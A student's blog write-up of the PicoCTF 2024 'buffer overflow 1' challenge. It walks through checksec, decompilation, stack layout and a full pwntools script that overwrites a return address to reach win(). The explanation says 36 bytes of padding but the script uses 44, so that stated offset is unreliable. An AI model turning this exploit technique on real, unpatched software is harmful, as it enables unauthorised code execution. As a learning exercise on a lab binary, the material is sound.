PicoCTF 2024 — buffer overflow 1 [Binary Exploitation]
Step-by-step walkthrough of my first successful buffer overflow exploit. From understanding the stack to crafting the payload that redirected code execution to win().
Challenge Overview
**Category:** Binary Exploitation | **Points:** 200 | **Event:** PicoCTF 2024
We get a 32-bit ELF binary. The goal: call a function win() that is never called in normal execution.
Step 1 — Recon
checksec --file=vulnArch: i386-32-little
Stack: No canary found
NX: NX disabled
PIE: No PIENo canary, no NX, no PIE. Intentionally vulnerable.
Step 2 — Decompile
In Ghidra, the vuln() function:
void vuln() {
char buf[32];
gets(buf); // no length check — classic
puts(buf);
}gets() writes whatever we send, regardless of size.
Step 3 — Stack Layout
[ buf: 32 bytes ]
[ saved EBP: 4 bytes ]
[ return address: 4 B ] ← overwrite thisPadding needed: **32 + 4 = 36 bytes**, then the address of win().
Step 4 — Find win()'s Address
objdump -d vuln | grep win
# 080491f6 <win>:Step 5 — Exploit
from pwn import *
exe = ELF('./vuln')
p = process('./vuln')
win_addr = exe.symbols['win']
payload = b'A' * 44 + p32(win_addr)
p.sendlineafter(b'Please enter your string: ', payload)
print(p.recvall())[+] picoCTF{addr3ss_0v3rfl0w_b4sics_9a3b2c1d}Key Takeaways
- Always run
checksecfirst — it maps what you can and can't do gets()is always unsafe; real code usesfgets(buf, sizeof(buf), stdin)- Offset = buffer size + saved EBP (4 bytes on 32-bit)
pwntoolshandles endianness (p32/p64) automatically
*Next challenge: same binary but with NX enabled → need ret2libc instead of direct jump.*
Justin Sepvian
Informatics Engineering Student at ITB
Writing about cyber security, web development, and the experience of learning technology from the ground up.